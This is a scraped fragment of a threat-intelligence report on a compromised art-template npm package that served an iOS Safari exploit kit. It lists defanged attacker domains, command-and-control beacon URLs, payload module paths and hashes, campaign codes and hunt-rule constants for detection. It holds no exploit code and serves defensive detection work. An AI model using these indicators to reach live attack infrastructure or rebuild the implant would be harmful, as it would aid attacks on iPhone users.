globalThis fqMaGkN4, fqMaGkNR, fqMaGkNK, fqMaGkNr — outer obfuscation function names; stable across this sample ldm_mml_t — DOM element ID injected by MathML anti-bot probe (removed after check) _ldm_ + random — IndexedDB database name created transiently by the iOS Blob probe Network Indicators v3.jiathis[.]com — supply chain injection origin; hosts jia.js and art.js hxxps:\u002F\u002Fv3.jiathis[.]com\u002Fcode\u002Fjia.js?uid=artemplate — injected by art-template@4.13.5 hxxps:\u002F\u002Fv3.jiathis[.]com\u002Fcode\u002Fart.js — injected by art-template@4.13.6 utaq[.]cfww[.]shop — watering hole delivery origin; hosts gooll\u002Fgooll.html and all payload modules hxxps:\u002F\u002Futaq[.]cfww[.]shop\u002Fgooll\u002Fgooll.html — landing page embedding the implant hxxps:\u002F\u002Futaq[.]cfww[.]shop\u002Fgooll\u002F49554fde7424c31c.js — implant entry point cfww[.]shop — domain family (bulk-registered .shop) l1ewsu3yjkqeroy[.]xyz — C2 base domain hxxps:\u002F\u002Fl1ewsu3yjkqeroy[.]xyz\u002Fapi\u002Fip-sync\u002Fsync — victim IP + device version beacon (HTTPS POST) hxxps:\u002F\u002Fipv4[.]icanhazip[.]com — public IP oracle used pre-beacon (HTTPS GET) Campaign Tracking Codes CHMK6IG08F42496C22 — channelCode field in beacon POST body (decoded from XOR char array) 1DECX7UIQIB43 — second campaign constant; declared but not used in beacon in this sample (literal string in file) Remote Module Hashes (All Known) All of the following are fetched as JavaScript from utaq[.]cfww[.]shop and eval'd via new Function(). A GET to any URL containing these 40-character hex strings (before or after the content-address transform) is a confirmed hit. 7d8f5bae97f37aa318bccd652bf0c1dc38fd8396 — iOS 11.0–15.1 WASM loader ea3da0cfb0a5bdb8c440dd4a963f94cbd39d9e44 — iOS 15.2–15.5 WASM loader d11d34e4d96a4c0539e441d861c5783db8a1c6e9 — iOS 15.6–16.1 WASM loader 57cb8c6431c5efe203f5bfa5a1a83f705cb350b8 — iOS 16.2–16.5 WASM loader e3b6ba10484875fabaed84076774a54b87752b8a — iOS 16.6–17.2 WASM loader (primary) 477db22c8e27d5a7bd72ca8e4bc502bdca6d0aba — shared crypto init 29b874a9a6cc9fa9d487b31144e130827bf941bb — iOS crypto getter (wF8NpI) 9db8a84aa7caa5665f522873f49293e8eebccd5c — iOS crypto getter (LJ1EuL) 171a7da1934de9e0efb9c1645f4575f88e482873 — desktop WebKit crypto getter 91b278ddb2aec817b10c1535e0963da74f9b8eeb — non-Safari WebKit crypto getter b586c88246144bc7975ad4e27ec6d62716bf34ea — fallback crypto getter 7f809f320823063b55f26ba0d29cf197e2e333a8 — final action, WASM-verified path c03c6f666a04dd77cfe56cda4da77a131cbb8f1c — final action, primary path (all standard iPhones) ba712ef6c1bf20758e69ab945d2cdfd51e53dcd8 — WASM ABI sub-module Derived Fetch Paths (Server-Side URLs) These are the actual paths the implant GETs from utaq[.]cfww[.]shop. Network signatures should match any GET containing these 40-char hex path components regardless of query string. 5ff38f5342bb3c931bc504d6fa3523d0c8865b93.js — iOS 11.0–15.1 loader 46ecd515ac9e99ef0603063db39303a0fd849632.js — iOS 15.2–15.5 loader ff4f3cb4711fb364b52de5ab04a8f83140466f89.js — iOS 15.6–16.1 loader 8c4451cf1258f9a8d6a8af27864f111fd69a0e99.js — iOS 16.2–16.5 loader 6beef463953ff422511395b79735ec990bed65f4.js — iOS 16.6–17.2 loader bef10a7c014b826e9dd645984e80baf313c1635f.js — shared crypto init 4a75f0551eba446b4fa35127024a84b71d9688d6.js — iOS crypto getter (wF8NpI) 3fd66b32c44150acff3dcb80f86c759574148ed5.js — iOS crypto getter (LJ1EuL) 17480ecc0120292fb6b8b19f2fa134385dcfd0fd.js — desktop WebKit crypto getter f6377d5d458183d41c5fd99661c5a306b42c6255.js — non-Safari WebKit crypto getter 3bc0f6865c0476c0a98a76cb9924d6b3972df591.js — fallback crypto getter 8835419f53fa3b270c8928d53f012d4c28b29ea4.js — final action, WASM-verified path 9af53c1bb40f0328841df6149f1ef94f5336ae11.js — final action, primary path (all standard iPhones) aea58f0e58801b528702a6c66bf4af8b99041243.js — WASM ABI sub-module Fetched Module Content Hashes (SHA-256) These are SHA-256 hashes of the file contents as fetched from the live C2. All 14 were successfully retrieved. None of these hashes appear in the GTIG\u002FMandiant Coruna IOC list — this infrastructure was not previously published. 080da430f7e3a38d7cad59887df30d9ac40e70d203c7aa5f5afaf0cafcb73e5f — iOS 11.0–15.1 WASM loader b0b29b6148c4b0dbd77d33f821ca01e2d7a711988b854285a2606dcc53894abe — iOS 15.2–15.5 WASM loader 593548d714f6d48acb886d42bf576d8fd6b1ddae6f888dda0719671a53463663 — iOS 15.6–16.1 WASM loader 2c4a5a49a84f55db0dd5554f7a9e055dbb0eae3782986726c6dcfab84ecd6dc5 — iOS 16.2–16.5 WASM loader eaab0874332777ad8a03a292bcd608a3358547f9f16ab551d34eef35d5cd539e — iOS 16.6–17.2 WASM loader (primary) feb9442c39619d7bb3ff29de8e1d4bebceb1b24f8c0a63da2f2b30a1023dc94f — shared crypto init 473f182b8cbbdb5b4b29b7ad875014d66f1691ed2e770c633b559d97243895a7 — iOS crypto getter (wF8NpI) 329ae1401819da4f87e3726b7e2707afcaf62d1219c4256c828df36af0a8784a — iOS crypto getter (LJ1EuL) 7b8436669563e7d317c219b26432bdaab70e39061ea2c1c70fcc201f2c19c470 — desktop WebKit crypto getter de1a07d8978725eaa6da5658e373e88264ac90515750201bfbe17947d5a9e788 — non-Safari WebKit crypto getter 675a40df5f517f8f0cd99f74c5468f56d1d8f05003e997477a2af3bc7b0105a9 — fallback crypto getter 2cfa14b2cd1f3fd51406cf1ac49c761a5c26ce3994e97de7f1ca469d85248a52 — final action, WASM-verified path ebcc76dcd5ef596e732321a8d16eb2dee525c5d9a68c700b7885648c13c65a57 — final action, primary path (all standard iPhones) 5c0ebd86d2e8ae2087c0a4def4e0364a0cfb85c7e0a753fc96dca55b6c303432 — WASM ABI sub-module WASM \u002F Runtime Constants (Hunt Rules) 0xFEEDFACF — Mach-O 64-bit magic; searched in WASM heap by lr() 0x01000007 — CPU_TYPE_ARM64; standard iPhone arm64 0x0100000C — CPU_TYPE_ARM64_32; Apple Silicon \u002F ARM64_32 0x24AD \u002F 9389 — WASM proof-of-work expected value; checked in $n() 60000000 ms — page reload interval (~16.67 hours) 10000 ms — C2 beacon repeat interval","The art-template npm package was compromised, leading to the deployment of an iOS browser exploit kit similar to Coruna. The attack targeted a range of iOS devices through a watering-hole attack, exploiting vulnerabilities in Safari on iOS 11.0 through iOS 17.2 and showing links to UNC6691.","Compromised npm package art-template led to an iOS browser exploit kit deployment targeting iOS 11.0-17.2.","Research\u002FSecurity NewsMalicious NuGet Package Impersonates Sicoob SDK to Exfiltrate Banking Certificates and PasswordsA malicious NuGet package impersonating Sicoob exfiltrated client IDs, PFX passwords, and banking certificates through Sentry telemetry. By Kirill Boychenko - May 28, 2026","https:\u002F\u002Fsocket.dev\u002Fblog\u002Fcoruna-respawned-compromised-art-template-npm-package?utm_medium=feed","https:\u002F\u002Fcdn.sanity.io\u002Fimages\u002Fcgdhsj6q\u002Fproduction\u002F21f87de601c0257999f2c58cc9031f5565954454-1254x1254.png?w=1000&q=95&fit=max&auto=format","2026-05-20T22:26:28.446+00:00","2026-05-21T00:00:12.688705+00:00",9,[18,21,23,25,28],{"name":19,"type":20},"art-template","product",{"name":22,"type":20},"Safari",{"name":24,"type":20},"iOS",{"name":26,"type":27},"UNC6691","threat_actor",{"name":29,"type":30},"Coruna","campaign","26b0b636-0e31-4db1-bffb-61bdf9f20a58",{"id":31,"icon":33,"name":34,"slug":35},null,"Supply Chain","supply-chain",[37,42,47,52],{"category":38},{"id":39,"icon":33,"name":40,"slug":41},"6cbdd207-aaa1-4176-9534-e156b125e917","Nation-state","nation-state",{"category":43},{"id":44,"icon":33,"name":45,"slug":46},"80544778-fabb-4dcd-aa35-17492e5dcf4f","Vulnerabilities","vulnerabilities",{"category":48},{"id":49,"icon":33,"name":50,"slug":51},"89f78b1c-3503-45a1-9fc7-e23d2ce1c6d5","Malware","malware",{"category":53},{"id":54,"icon":33,"name":55,"slug":56},"e7b231c8-5f79-4465-8d38-1ef13aea5a14","Threat Intelligence","threat-intelligence",[58,62,65,68,71,74,77,81,85],{"type":59,"value":60,"context":61},"domain","git.youzzjizz[.]com","Loader URL in art-template@4.13.3",{"type":59,"value":63,"context":64},"v3.jiathis[.]com","Injection origin",{"type":59,"value":66,"context":67},"utaq[.]cfww[.]shop","Watering hole delivery origin",{"type":59,"value":69,"context":70},"cfww[.]shop","Domain family",{"type":59,"value":72,"context":73},"l1ewsu3yjkqeroy[.]xyz","C2 base domain",{"type":59,"value":75,"context":76},"ipv4[.]icanhazip[.]com","Public IP oracle",{"type":78,"value":79,"context":80},"hash_sha256","f31bdd069fe7966ae11be1f78ee5dd44445938856dd1df12379e0e84a6851f5c","SHA-256 hash of 49554fde7424c31c.js",{"type":82,"value":83,"context":84},"hash_sha1","8064d4e0322f069b3dba13e7957ff0ca7dab7984","SHA-1 hash of 49554fde7424c31c.js",{"type":86,"value":87,"context":88},"hash_md5","6e79ae622b7ef30f31fdbcc2dc65339e","MD5 hash of 49554fde7424c31c.js"]